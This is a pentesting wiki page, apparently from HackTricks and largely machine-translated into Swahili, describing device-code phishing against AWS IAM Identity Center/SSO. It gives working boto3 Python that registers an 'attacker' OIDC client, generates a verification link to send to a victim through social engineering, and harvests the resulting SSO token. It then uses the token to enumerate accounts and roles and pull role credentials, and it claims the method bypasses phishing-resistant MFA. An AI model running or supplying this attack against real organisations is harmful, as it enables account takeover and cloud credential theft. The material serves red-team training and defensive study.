AWS - Kituo cha Utambulisho & SSO Ujumbe Usioidhinishwa

Reading time: 5 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Ulaghai wa Nambari ya Kifaa cha AWS

Kwanza ilipendekezwa katika hiki blogu, inawezekana kutuma kiungo kwa mtumiaji akitumia AWS SSO kwamba ikiwa mtumiaji atakubali mshambuliaji ataweza kupata token ya kujifanya kuwa mtumiaji na kufikia majukumu yote ambayo mtumiaji anaweza kufikia katika Kituo cha Utambulisho.

Ili kutekeleza shambulio hili, masharti ni:

  • Mwathirika anahitaji kutumia Kituo cha Utambulisho
  • Mshambuliaji lazima ajue subdomain inayotumiwa na mwathirika <victimsub>.awsapps.com/start

Kwa kutumia taarifa hizo, mshambuliaji ataweza kutuma kiungo kwa mtumiaji kwamba ikiwa kikubali itampa mshambuliaji ufikiaji wa akaunti ya mtumiaji wa AWS.

Shambulio

  1. Kupata subdomain

Hatua ya kwanza ya mshambuliaji ni kugundua subdomain ambayo kampuni ya mwathirika inatumia katika Kituo chao cha Utambulisho. Hii inaweza kufanywa kupitia OSINT au kukisia + BF kwani kampuni nyingi zitakuwa zikitumika jina lao au toleo la jina lao hapa.

Kwa kutumia taarifa hii, inawezekana kupata eneo ambapo Kituo cha Utambulisho kilikamilishwa:

bash
curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
  1. Tengeneza kiungo kwa ajili ya mwathirika & Tuma

Run the following code to generate an AWS SSO login link so the victim can authenticate.
For the demo, run this code in a python console and do not exit it as later you will need some objects to get the token:

python
import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)

Tuma kiungo kilichoundwa kwa mwathirika ukitumia ujuzi wako mzuri wa uhandisi wa kijamii!

  1. Subiri hadi mwathirika akubali

Ikiwa mwathirika alikuwa ameingia tayari kwenye AWS atahitaji tu kukubali kutoa ruhusa, ikiwa hakuwa, atahitaji kuingia na kisha kukubali kutoa ruhusa.
Hii ndiyo jinsi ujumbe unavyoonekana siku hizi:

  1. Pata token ya SSO

Ikiwa mwathirika alikubali ujumbe, endesha hii code ili kuunda token ya SSO kwa kujifanya kuwa mtumiaji:

python
token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

Token ya ufikiaji wa SSO ni halali kwa masaa 8.

  1. Jifanya kuwa mtumiaji
python
sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')

Phishing the unphisable MFA

Ni furaha kujua kwamba shambulio la awali linafanya kazi hata kama "unphisable MFA" (webAuth) inatumika. Hii ni kwa sababu mchakato wa awali hauondoki kwenye eneo la OAuth lililotumika. Si kama katika shambulio zingine za phishing ambapo mtumiaji anahitaji kubadilisha eneo la kuingia, katika kesi ambapo mchakato wa kifaa umeandaliwa hivyo nambari inajulikana na kifaa na mtumiaji anaweza kuingia hata kwenye mashine tofauti. Ikiwa ombi litakubaliwa, kifaa, kwa kujua nambari ya awali, kitakuwa na uwezo wa kurejesha akidi za mtumiaji.

Kwa maelezo zaidi kuhusu hii angalia chapisho hili.

Automatic Tools

References

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks